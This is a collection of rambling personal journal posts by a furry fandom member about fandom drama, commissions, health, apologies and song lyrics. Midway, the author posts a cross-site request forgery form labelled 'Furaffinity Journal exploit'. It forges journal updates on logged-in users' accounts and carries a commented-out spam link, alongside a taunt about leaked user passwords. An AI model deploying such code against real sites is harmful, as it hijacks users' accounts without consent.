It's time I go full on Saturn and show the world, just how amazing the world with me in it can be! I hope I'll make some new friends and I hope you'll all enjoy my NEW submissions, as my outlook in Life has changed and I get back to the basics and expand beyond my circle. If you're into the Esoteric and wacky stuff, then I'm your creature!

EMBRACE DUALITY! YOU ARE GOOD & EVIL! YOU ARE MAN & WOMEN! ALL OF YOU!

MUCH LOVE TO ALL OF YOU MY PETS, CHILDREN & KIN! GET TO KNOW ME…

Yes, yes I'm back. Missed the password reset message and totally felt I got
banned, or some stupid shit. Looking at my page I realize, that I have to totally
overhaul my front page and make some changes. There is scuttlebutt, that FA UNs/PWs
have been leaked and compromised, so maybe you all should change your passwords
[yet] again, just to be safe. I made [my robot-lulz!] a post on social media about it and
threw in an art joke, just to lighten the mood, but I doubt anyone actually got it, but
I hope everyone's account stays secure. If I hear more info, then I'll keep you posted.
You may have seen me awhile back at a Con, or two, but seriously got tired of being
molested by strangers, and have been told, "You're too attractive to be a furry.", so
that's depressing. Also, it sucks when people start to hate on you, because you WON'T
have sex with them. I don't fuck everything that moves, I'm sorry! Still got some furry
pals, but what hurts me the most, is the one person I respected the most (a mentor),
decided they hated me for some reason and everyone questioned our relationship.
I'll clarify: we were friends and nothing more. What breaks my heart is they were the
only one I ever wanted to commission for fursuits. Last time I saw them I gave them
$600, so they could go down to Florida and I got a subpar suit in return, but I didn't
want them to think they owed me. At any rate, I still have love for them, miss them
and wish them the best… it would be nice if I could see them again and we could be
cool. We had some good times, when I wasn't late travel on "Scootch Time." Hahahaa!
MUCH LOVE ALL! ~{SCOOTCH}~ "Forgivness, is Divine."

Just a Goat before they were even an option, or a popular species option. In fact I got heat from some PopuFurs and other whoever the fuck they series say shit like, "What the fuck? A Goat? That means NOTHING TO US!" OR "You sir are of no significance, and no importance to fandom!" All I did was catch flak from other people and apparently (back then), it didn't have a place in the Furry Fandom Lexicon. Now I see goats overwhelming the scene, which is cool to me, but I was down with the Goat Rhythms, from the jump! Even started a business and then some. Now I feel like an outcast in this worldwide phenomenon and even though I Staffed a Con, just feel I should skulk about the shadows. Nobody seems to really care for me and it's okay, but I know itself is and was due to some generic and/or arbitrary bullshit that spread like a wildfire, because someone started a rumor(s), about me. Even a so-called friend didn't invite me to join him at a Con and yet claims we are great friends. All I ever wanted was to be happy, being at a Con, or fursuiting at any event I could imagine. Raves, local events and even done it solo, when ditched by my "so-called," friend.

I won't name names. This Journal Post isn't about that. I mean seriously … is it too much to ask for a couple Goat Fully Suits, and tons of artwork? I have a few projects that I need help with. I want some new avatars; both static and animated. Have a Furry Fandom Android ROM for instance on my projects list, that requires a talented artists to make me icons and a sweet boot animation (my art skills are novice at best, if not horrendous ~lol), and wanted to make a new Tarot Card Deck, which is going to be 80+ images... [THOTH REDO - 3 Magus Cards, for Novice up to Master), and the artistic talent who did me a fantastic job, is now homeless and I worry about them something fierce.

*sigh* Why am I so alone, when I should have friends here? Isn't it about Unity? Are we not supposed to be a Fraternal Order of Freaky Tweaky Eccentric Peeps? I get no love, and see no unity. What did I do, besides be spin out sarcastic, when confronted with hate. Groped at my first Con and almost destroyed a human being, but to not ruin it for others? I kept my cool and in return? A barrage of hatred was sent my way. *heart breaks*

I still got love for you all (most of you), and wish you all the best. We do not have to get along, or all be friends here/IRL, but GOD DAMN IT! RESPECT ME AS I WISH TO ONLY TREAT YOU AS I CARE TO BE TREATED... *sigh* idk just wanna lil love. Maybe find me a chick to make me feel special. I have so many doubts and life keeps on becoming more complicated, for me. What do I do besides not giving a fuck what everyone else thinks?

~Scootch aka "Der Ziege Meister" aka 9° Grand Master of Sublime Imperfections aka Knight of Darkness. 3° NON OF YOUR DAMN BEESWAX! = MASTER... N.J.~

FRIENDSHIP, LOYALTY & UNITY! (too bad enough of this... i do not see...)

I lost faith in the fandom, oh how I lost the faith, until I came across the latest artist whom I commissioned and let me tell you something: ISADORA IS AMAZING! Never have I commissioned an artist and have them be done with the project for a fair price and in a timely manner. If I wasn't so fickle I would have had it done the same day I commissioned them! NO JOKE ISADORA is amazing! If you need some digital work done, then I have to say you MUST check out Isadora, if she has a slot open! she paid much attention to the details... if, "you read in-between the lines." <3 (ah, the subtle nuances!)


 Isadora <= COMMISSION THIS ARTISTS, OR ELSE!*


*idk what or else means, but you really have to check them out! AHA!!

note: i disappear often, but ramble on a lot on twitter, you can try to follow, but i mainly accept new followers when i'm battling insomnia. my apologies to all those who i didn't say thank you too, or shout out. there are many talented artists on here and besides making friends, artwork is my primary CONcer! i have a few more artists, that i just have to commission when i have the chance...

still have fidget and my newer 'sona: HUSKEY SPARKLES MCDONALDS (which i bought from a "friend," and was completely overpriced, but they couldn't make the reserve on furbid, and it just sat there, in need of a home! plus they needed money to make a drastic change, and move down south. i always take care of friends and "special," people, with a fraternal connection...

:.: UNTIL NEXT TIME FRIENDS :.: BTW: I'M WIDE AWAKE!

FRIENDSHIP, LOYALTY & UNITY! (that's what's really important in this life, too bad most people don't see things my way.)

So there's an UNOFFICIAL FA APP on the Android Market and Google Play Store. Has anyone used this and is it legit, or an easy way to steal your LOGON INFO. It does prompt for your credentials to logon to the FA system, but the DEV SWEARS it doesn't save your private information. Anyone know about this? I think there's a link, but I never login via app, I'm lazy and my Droid's battery is about to die. Anyone hear, or know anything? What's the scuttlebutt! :D

for some reason i cannot upload some artwork, its porolly the new UI and I'm lazy and high, so look elsewhere if you wanna hate on the admins! but oh yeah new artwork! I started to do artwork again and I'm not scared to post it anymore! This was done in no more than 25 mins and if i finished it, I'm sure it'd be Amazing! I'm gonna keep on learning more & more! First Digital sketch in forever! Check it and lemme know, especially if you don't have love for it! how many will say it sux, steal it and claim its there own... I SCOOTCH'D A WATERMARK BRO! Tell me if you can tell! LULZ!

source: https://sphotos-b.xx.fbcdn.net/hpho.....31711159_n.jpg

https://sphotos-b.xx.fbcdn.net/hpho.....31711159_n.jpg


https://sphotos-b.xx.fbcdn.net/hpho.....31711159_n.jpg

To everyone I may have been a huge d.bag too I'm sorry... and it may not mean much, but I'll try to do my best to make it up to you all. I'm not perfect and I can be a jerk at times. I have no excuse, but I do have a new outlook on life and I'm going to do my best to make it up to all of you...

Sorry it's so hard to get a hold of me. Thanks for all the comments, watches and faves. All of you are great and even with all the petty drama that goes on within the fandom... There's still a few rays of hope, points of light that make all this worth wild.

And to the talented artists who catch flak from jerks who commission you and demand the heavens and the earth, I'm sorry to hear that crap! None of you should put up with that... EVER!

MUCH LOVE, STAY POSITIVE & KEEP THE FAITH!

<3 Scootch

P.S. Keep on being awesome and keep your heads up! <3

Okay so I was in the neighborhood and needed to get the grey cells pumping some inspiration and I found a bunch of bitching artwork, some tall tales (forgive the lamest pun... ever!), and found some wonderful new artists with interesting and/or a spectrum of different styles... ya know, like a rainbow?! Anywhosits and whatsits, I was fucking really bummed and took a detour here. The detour helped me find some nice colors mixed with nice lines and bitching artwork was before me!

Thank you artists who supply me with my anthro pix fixes, that make colors look delicious! heehee!! really i just love the artwork, the style/skill and not so much the subject matter and to be more specific as to not confound the mind. I speak of the subtle undertones and/or the overtly sexual stuff, so I don't judge it's really the artwork for me and while some artwork can be cute and I do fancy me a fursuit, or two, cuz they're fucking adorable! It's fun to be a character, from time to time. Also great fursuit makers are such talented people! When you see and feel a quality made fursuit, when you put one on! It should make you marvel, because it makes me marvel at craftsmanship. I've seen great talent and beauty to overpriced hot-glue gun suits with seams of dry adhesive to show off to all the popufur folk (haha just a tittle), honestly I do feel bad for the artists, because so many peeps stiff 'em like jerks! They change their minds after, they "is everything okay with you stage," is long over! They only pay half the deposit, swear they're good for it and you say yeah see ya at the next con FA/FC/FAU/Eurofurence (w/e), and they don't have the extra they swore they would, or you wait in the Dealer's Dungeon for a local fur who seemed genuine and nice, to give him/her artwork that could only be picked up at the Con, they Pre-Reged, you did too, you knew this room, that hotel, just in case and fucker disappears, or never existed! How about getting stiffed for a trade? I know this talented skirt who got stiffed by some broad and she put heart into that fucking trade and I recall modeling the suit hearing, "2-3 weeks tops, she's backed up" and then "She'll be at AC and have it I'm sure... claims have been made!" ---- YEAH NO! THEY FUCK YA!! SO IF YOU ART: BACKUP YOUR FELLOW CRAFT MEMBERS!!! ---> UNITY !

FA... this lil place on the web to me is kinda like the porn industry for aspiring animators and cartoonists... eh, its a living! Thanks for clinging to dreams! :)

Anyone who comments on my comments; thank you and I'll take a gander into those stories (i think an equestrian is responsible for the stories comment, if i recall correctly, for i'm weary... i hope i got it right), and look in every now and then at what my new watches are cooking up in their lil hamster wheels!

Now I must go to bed!

SPECIAL THANKS goes out to the REAL art peoples; Traditional, Digital, Fursuit & etc. & also shout outs to people who won't rape me! I love ya too! xD

ERROR MESSAGE <insert undecipherable code number here.>

ERROR: Something went horribly wrong! RUN FOR YOUR LIVES! (not really)

Contact your system administrator to resolve the problem...

Yeah so me logging back into FA is now at a higher frequency that it has been in .... well like a few years. MANY THANKS TO ALL THOSE WHO: Left comments, left me a shout, faved anything, added me to their stalker...er Watchlist, commeneted on any journals I had, and to anyone who has done any commissions for me as of late (you know who you are), I just wanna say thank you and that I really love the work you guys/gals do! KEEP UP THE GOOD WORK! Well besides going through almost 6,200+ submissions I have listed in my messages, I believe I'm all caught up! I hope to hear more from all you friendly furs out there! Especially if you're a hot lil number! That goes double if your a dame and a hot lil number! Heehe! I'll catch you all on the flip!

Hiya! I'm back, but I never stay for too long! I got a new avatar done by Nataya / NXcritter http://www.furaffinity.net/user/nataya and I updated my info and home page. No new uploads, or and of my old archived (many a photo of fursuit and/or artwork), throwbacks yet sorry guys/gals! Thanks for all the new comments, favorites and watches! I'll try to checkup FA frequently again, especially now that most of the bugs are gone and I never had any problems with the admins... GOOD PEOPLE!

Well, I hope to make some new friends... if you want shoot me an email, or a pm, or send a note...
BTW I'm a CT fur so keep that in mind. Well I'm off, for I have things to do! LATERS!

HIYA! I'm just doing a quick login to see what's up, make some changes and write a new journal. Boy the site is moving slow. I don't log in often, but I still got love for FA. Who else will help me on my quest to find and enjoy my tasteless (lulz), art? I hope the Admins will sort out any issues they are allegedly dealing with. I say allegedly, because I don't commit gossip to fact. There has been some scuttlebutt though. It isn't my problem, so I don't have anything to say on such matters. I will say the Server is uber slow and the problems are a combination of a few things.

1) SPACE (user volume is exceeding space. let's help do our part to help.)

2) ARTISTIC RIGHTS (not sopa, but general robbing of others is happening. sign your work and remember FA specifies you can download the file with that said link. ask the admins to add a privacy option on the site for your profile, if you care. mimicking is ultimately flattery though, but i understand people.)

3) SECURITY EXPLOITS: understated! not enough dedicated and talented admins are working on the site and the ticketing system wouldn't have worked, because not only was the coding an issue, hut most users would abuse it, with troll tickets and not much helpful things would have cone from it, besides putting that you coded one on your resume. i will finally say that favoritism does help you become an admin and while you shouldn't feel guilty letting a friend do that work, you do need to make sure they do their jobs and code. not busy being moderators, because that's another job. That being said... i do feel for the sites admins, because they get a bad wrap.

4) TROLLS, FURRIES WHO DON'T PAY FOR THEIR COMMISSIONS, HATERS, INSTIGATORS, LIARS, SITE EXPLOITS, TOO MANY SCREENSHOTS, TOO MUCH DRAMA AND NOT ENOUGH LOVE!

STAY POSITIVE PEOPLE... MUCH LOVE!

Just a sample of what's out there... would you like a complete user list with all your passwords? xD



<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"></head><h1>Furaffinity Journal exploit</h1><body>


<form action="http://www.furaffinity.net/controls/journal/" method="POST">
<input type="hidden" name="id" value="">
<input type="hidden" name="do" value="update">
<!--<input type="hidden" name="subject" value="I am god"> -->
<!--<input type="hidden" name="message" value="Click here to see why: http://dl.dropbox.com/u/27736847/hee.html
ALL HAIL LORD BLAKE."> -->
Subject:</br>
<input style="width: 100%" type="text" name="subject" value="" maxLength="60" class="textbox"/>
Body:</br>
<textarea id="JSMessage" name="message" style="width: 100%" rows="20" class="textarea"></textarea>

<input class="button" type="submit" name="submit" value=" Make sure you're logged in on FurAffinity! "/>
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Just a quick update. I'm not [as] crippled, but won't be 100% for some time. Also many thanks for all the comments, watches and whatnot. I will personally get back to [you] everyone once I have the time. I've been busy, with nonsense. At any rate keep up the great work people! I will catch you all on the flip! Out like a busted light!

Okay, got stricken with radial palsy and it left me essentially cripple for about two weeks. This has been a mighty blow, because I have my downstairs office space pretty much cleaned out and I just purchased a bunch of stuff to help me do crafts, but I couldn't sign my name, let alone take a photo, draw/sketch a picture, or even hold and use scissors! I couldn't even bathe Phoenix, or clip her nails.

On a brighter note; starting to heal, going to complete my office for all my plethora of hobbies as Paws might put it. I can finally walk Phoenix and drive again, so it shouldn't be soon for everything to get off the ground!

I'm going to set up a server at my own locale to host my web sites (pet project), set up a nice table for TRYING to make fursuits (lol), set up my PCs and my KVM switch, so I can utilize my work horse computer {Win7 PC} and my grunt box {Linux ubuntu, try Mint?} I still can connect the PC (with a once decent video card), to my uber big S-Video CRT TV, so I can stream PC video (movies and games), to it and hopefully get the DJ Console to play music using my old receiver.

So yeah a long post, but its been a while. Also been typing this out on my Incredible, so that probably doesn't help my wrist. Oh well, the news is once I can work it, magic should be happening! Well, at least I'll be content. Hahaa!!

Final note: a PawsProductions commission is in the works. Fidget v2, my final CT suit.

Well stay safe everyone, much love and may you find happiness!

Most people will act nice to your face and be all friendly, but once you're back is turned they will run their mouth about you. This isn't what some people do, it is essentially what almost everyone does. Whether they are from Rhode Island, Massachusetts, Connecticut, New York, Florida, or whatever. It doesn't matter! Don't expect even your friends to be above this behavior, because too many people on this earth, just love to gossip! I will not even deny the fact, that sometimes I may gossip, it's just human nature... unfortunately.

What really cracks me up is the people who try to talk shit to your face, but don't have the stones to articulate themselves in a clear tone. They just mumble it under their breath and think they are hot shit, but in actuality they are nothing more meek cowards! If they truly had courage they would say it to your face, looking you in the eyes, as they do so. Think hard my furry friends, you know in your heart what I am talking about is true and I bet you can think of more than a few people (furries and regular folk), who meet this criteria.

The best part in when you're in a fursuit and people think you can't hear them, but they don't realize you can hear them and they are just idiots, because they think they are so cool making snotty remarks about you and they don't realize that the only reason they hate on you is, because they hate themselves. Never fret my furfolk, for these people are so pathetic that we should feel pity, for them. Why feel pity for these assholes? Well, for starters they are so miserable to begin with they probably don't even feel comfortable inside their own skin and finally, we shouldn't let let their negativity effect us. This renders them powerless!

This is just a simple fact of life and I hope you take to heart the jewel I just dropped on you...

On a more positive note, once I have the time (i'll need lots of it, mind you), to sift through the thousands of pics I have I will upload some new fursuit photos, some fursuit throwback photos, some animal photos (some may be good for posture references, for feral artwork), and (hopefully if I still have them), some fursuit videos. If I do have the videos still, they are (were), all in high quality and some may be in 720p HD quality (i hope i still have them). As for sketches and artwork; I don't have anything I really feel is good enough to uploaded, but perhaps I'm being to harsh on myself. We shall see...

Stay positive, never give up, never give in and remember; it's always darkest before the dawn.

Yeah haven't I logged on to this site for ages. Had shit to deal with, like anyone else. Doing well, but please.continue to excuse my abrupt absences. I tend to get bored & wander off. Being hyperactive is my cross to bare... :p

Hope all is going well for ya'll in your corner of this Blue Rock. There's always gonna be drama and natural disasters apparently, so let's all make the best of it.

Make sure to take NOTE of that. Haha...
Odd humor to go out on, sorry... It's an acquired taste. Aha!!
But their is a relevant premise, you guys should know that!

I'm done babbling now. I've typed enough to hold me over for a month or two.
Oh yeah, I'm chilled out now & fairly happy now, so expect changes in what's posted.

But, I'll change my profile, journal headers and all that shit tm, I'm using my Droid & my laptop will be at home.tm.

I'm tired...bye ppls!

Circumstances made me what I am
Was I born a violent man
Circumstances made me what I am
Everyone should understand

Circumstances made me what I am
Was I born a violent man
Circumstances made me what I am
Everyone should know

May sound strange, might sound foolish
But things ain't getting better
Everyday another fall victim to the beretter
Why is there so much violence
Killing we one another
Let us learn to live and let that light shine brighter
Bad influence through influence the youth dem get slaughter
As bad as badman use to be
Dem respect dI father
is like no eyes no realize seh
Times get harder
MI talk all night with all mI might
But still is laughter

Circumstances made me what I am
Was I born a violent man
Circimstances made me what I am
And everyone should know

Him say, when I try to cope
Tell mI self there is hope
It seems like the biggest joke
Eh eh,
And as I put down the gun
Still dollars must run
All now employment can't come
Have mI a jam and a cool
Want go back in a school
The system lick mI
There's no hope for those
Who have not from the slum
Take dI little much we have
Still hunting we down
I beg unu show some love
Unu wI get back, he replied

Circumstances made me what I am
Was I born a violent man
Circimstances made me what I am
And everyone should know

Well a no little cry
Mama cry, papa cry too
She warn the bwoy wth all heart
And that couldn't do
Now dem find him dead with a smith and wesson
Six weeks and change
Now mi hear him missing
Why so much violence, too much violence
It hurts my soul and I won't keep silent

Circumstances made me what I am
That was his reply I cry
Circumstances made me what I am
Everyone should know


...you read into it, ya silly goose!...

Yeah, everyday is getting better and the light is getting brighter. Back to being a lover instead of a fighter. Warriors can't build temples, so I seek redemption. I smile from time to time and shout the day is mine! Reclaiming my title as the king of my world, no longer in misery shall I toil. No plots for me to foil and I only wish there was more love in this world... SO I TRY! I'LL TRY TO SPARE YOU THE WRATH OF BELIAL! *fingers crossed*

(because emotion is the theme, these lyrics are here... I'M HAPPY AGAIN!)

Buju Banton - Love Sponge - Album: Inna Heights (YouTube it I'm too lazy!)

Got to let this woman know its real
Exactly how the rudebwoy feel
Oh baby, Oh lady (a big bad rhythm)
Yeah

This one is called lovers choice
Never know yuh woulda really feel so nice, (love sponge)
I dont wanna let you go
With you im in no hurry (oh no)

Lord you are lovable, kissable, Desire the inevitable
Without your sweet caress im so damn miserable
Touch your finesse, feel the fur of your coat
Seen you walk away saying my eyes in smoke
You are dressible, lookable, All the man dem after yuh
They claim you do something they just cant explain
To the brain, Your man shouldn't have no complain
Oh no

Hey slow motion is the way for us to enjoy the day
Always taking time to listen what she got to say
She thinks I be spending too much time on the beat
I try to make her overstand thats how we eat
Darling don't quarrel with me, It hurts ya too easily
Dont be messed up by silly tendency
No no way

She mek a caan forget about the huging and squeezing
Ah feel as if im upside down in the ceiling
Confess, this girl is the ultimate thing
What it means to be loved, no need asking
Swing baby swing, while I continue sing
Your favrite song
Let's go dancing
Hey, chuh

...don't read too much into it...

Serenity is now!
My pain still remains, but now I'm on top of my game!
No time to complain!

I'm thinking about having another suit made, in fact I want a new character. Why a new one Scootch? Well because, I feel I need a new persona to reflect this new positive attitude that I have. Things have changed for the better and I now need to reintroduce myself to those that already know me. I'm back to being the old me, that people seemed to adore...with a twist! The twist? I'm more determined than ever to be the person I always wanted to be; Successful, fun-loving, easy going, fun to be around, funny, enthusiastic and not a complete dick! I will offer a final apology to all of those who I have wronged, I have insulted and those who have had their feelings hurt. Unless of course you are one of those people who actually deserved it and in fact there are many of you who do and we all know it!

IN REGARDS TO MY MONSTER QUOTE: Yeah, you were monsters, it was a Holloween themed Con. Oops! My bad, but come on guys! Anyone could have made that mistake when they "have a look in their eyes, like black holes in the sky." If I attended the Alien themed Con, I would have made a comment on how you were trying to anal probe me and that you were members of Xemu's army. Actually, now that I think of it...many of you could be aliens. AHA!! Now that's funny and you all know it.


I HOPE ALL YOU FURS ARE ENJOYING YOUR TIME AT AC 2010!
NOW FOR A CRAPPY POEM! HAHAHAHAHA!!!


If I dig 'em, I dog 'em.
After I dog 'em, I blog them.
After I blog 'em, some stalk 'em.
Before they stalk 'em, I walk man.
Saga Continues...

.: TO WHOM IT MAY CONCERN AND TO THOSE WHO TRULY CARE :.

I just wanted to apologize and say I'm sorry to all my friends and any "decent" fur folk (yeah the decent ones, some of you are creeps and fucking monsters in my eyes, no lies), for being insulting, rude, arrogant, possesive, dismissive, aggressive, violent tempered, anti-social, narrow minded (one track mind), and of course last but not least, SELFISH! Did I forget any negative emotions or character traits? *sigh* Listen, nobody lives a perfect life, everyone has their own sorrows and issues to deal, with so I tend to do my best and not complain (to the best of my ability), about my troubles anymore...so what's with the melodrama, then Scootch? Well, I just wanted to let everyone know that I realize I been a real fucking dick to the only people who do care, my friends! I will have to reintroduce myself to everyone once I'm able to rise up from my ashes like the Phoenix! At least that's the plan...I sure as hell ain't looking to go out like River Phoenix, that's for sure. That's why I'm waging a war within my own mind slaughtering all the demons I can, once I expose the weakest link the X-FACTOR it's fucking game over for self enslavement and game on for self empowerment! There is still more to be done and there are many songs unsung. Many people meet, many people to greet and some even to befriend. I just ask that everyone understand and respect the fact, that know I can be and have real a fucking dick and sometimes still I will have my bad days, but they are now numbered.

No more transference of my disappointments and sorrows upon others. Even I can't hate the world forever it seems, being a hollow shell makes you easy to crack! This is unacceptable and I will not tolerate having any weaknesses any longer!


SERIOUSLY, I'M STARTING TO FEEL...EMOTIONS AGAIN!
MY APATHY IS GONE, BUT MY PAIN IS CONSTANT AND SEVERE.
I'M NOT GIVING IN! THERE'S NO SUCH THING AS FEAR!
MAYBE A BEER WITH STRANGERS, OR A FEW TUGS OF SOME NUGS WITH BUDS.
BUT THAT BITCH IN THE SKY WHO SAID IT'S ALRIGHT & PEACE IS IN SIGHT, FUCKING LIED!
I'VE SEEN THE BLOOD RUN FROM THE WALLS AND THE DEMONS WAIL.
AND THE OLD MAN, THAT MEAN MOTHERFUCKER!
FILTHY & SINISTER HE'LL TAKE YOUR PAIN AWAY,
UNTIL IT'S TOO LATE AND IT'S THE ONLY WAY!
LITTLE BY LITTLE, HE DESTROYS THE DEMONS WITHIN HIM.
THE MAN-BOY ASKS ONLY FOR FORGIVNESS,
HE WAS PUSHED TOO FAR, FILLED WITH STRESS ONLY FEW CAN RELATE.
HE DECIDES TO PUSH BACK, BUT HE'S ALL ALONE,
FOR GOD'S SAKE TOSS SCOOTCH A BONE, WHILE HE RESURRECTS HIS HEART OF STONE.
ONE GOAT FOR THE GLORY OF HEAVEN
ONE GOAT FOR THE CHAOS OF HELL
SO THANK YOU, BUT NO...
I'VE BEEN EVERYWHERE ONE COULD GO,
SEEN EVERYTHING ONE COULD KNOW,
NOT REALLY A NEED FOR SUBSTANCES ANYMORE.

BTW, I had like an enormous journal entry at first and this is my fourth attempt. It was just way too long and way too personal and I just decided to post this abridged journal, but it does have a story about me and a slave's art who I ever so admire,
i'm gonna give it up, i'm sooooo fucking tired! hehe!!
Don't like my poetry? That's okay post a negative comment anyway.
I DON'T MIND SAYING FUCK YOU, TO YOU ANYWAY! haha!!!

:p


AGAIN SORRY TO MY FURENDS AND TO THOSE LOVE'S LOST.
YOU'RE STILL IN MY THOUGHTS! LIKE HOW A FLAME ATTRACTS A MOTH...
...I WAS BLINDED, THEN YOU BURNED MY HEART....
always with the sparks...muwhahahahaha!!!

"I just wanted to say to everyone out there...I'm no longer mainlining acid or smoking PCP. It's official."

Okay so I've been like gone for awhile (not like it really matters anyway), but please don't (ever), expect any explanation. I just tend to wander from time to time and more importantly needed to get my head straight. There's lots of things a "wee" Scootch has to worry about these days. Lucky for me money isn't one of them, for the time being. Oh yeah I almost forgot! I know you've all heard it before and yeah I feel bad for delayed posts. I feel even worse for the people that I promised pix to on the one-on-one tip aka not being uploaded here. Who would want to see a bunch of furs outta suit and at the beach anyways? Wait! Don't answer that! *snickers* (Cece/K2/Paws I still have your pix)

OKAY! HERE'S THE SCOOP: PHOTOS TO BE UPLOADED!
one problem... 1,420 photos + 9 videos (2.19 GB)
sooooo, i gotta sift through all of it *sighs*

"I'm not mainlining acid."
-"Anymore."
"Oh, I'm not gonna promise that."
-Whatever you're comfortable with.
"I don't smoke angel dust anymore.
"So don't be afraid."

.:LESSONS IN DRUG ADDICTION:.
https://youtu.be/AnZh1fgk8wk

There are no more barriers to cross. All I have in common with the uncontrollable and the insane, the vicious and the evil, all the mayhem I have caused and my utter indifference toward it I have now surpassed. My pain is constant and sharp and I do not hope for a better world for anyone, in fact I want my pain to be inflicted on others. I want no one to escape, but even after admitting this there is no catharsis, my punishment continues to elude me and I gain no deeper knowledge of myself; no new knowledge can be extracted from my telling. This confession has meant nothing.

-=-=-=-=-=-=-=- THE YALE THING -=-=-=-=-=-=-=-

Patrick Bateman: He was into that whole Yale thing.
Donald Kimball: Yale thing?
Bateman: Yeah, Yale thing.
Kimball: What whole Yale thing?
Bateman: Well, for one thing, I think he was probably a closet homosexual who did a lot of cocaine. That whole Yale thing.

It's nice to be productive and keep myself busy, but I keep getting wrapped up in nonsense and while it amuses me to almost no end, I have to pull myself away from the BULLSHIT (no further details), I get caught up in, before I get completely sidetracked with this make believe world and get spellbound by it. I see so many people occupying some sort of a supplemental second life (not talking MMORPGs, excuse the pun please!), and they don't even focus on what's really going on anymore! They are living in a fantasy zone (another game pun, oops!), and it shocks me, because I've been there before myself and while it's fun to stop by and visit, it's NO GOOD TO MOVE ON IN AND JOIN THE CARNIVAL OF LOST SOULS! I get no joy from most of my old past-times, which now to me seem more like a waste of time. What exactly made me feel so warm and content, I wondered? I was so cozy with my friends ignorance and bliss I didn't care about the who, what, when, where and how! MY BLISS ENDS!

I don't know what complete satisfaction would feel like for me now at this moment in time, because my priorities have now changed and my life is about make a drastic change. I'm heading in a new direction and my sense of self awareness is now my one of my top priorities.

am i writing again...? FICTION ANYONE?

you know, this is the first time in a while i've enjoyed the snow. you know, the kind of snow that falls with an uncommon grace that catchs your eye and with a glimmer.

... and in awe of the shine of this neutral color caught upon the evergreen trees one realizes that life can survive the harshest circumstances and we muster the strength to overcome our hardships and take time to enjoy the greatest view, the greatest sites painted by grand force...

so great this force is we can only try and render it, copy it, mimic it.

if photos, portraits, landscapes, wilderness, brush strokes, rhythms, sketches and visuals is all i can get, as close as i can come, then that my friends still seems divine to me...


we can create something from nothing and showcase the sites we see. that's god-like.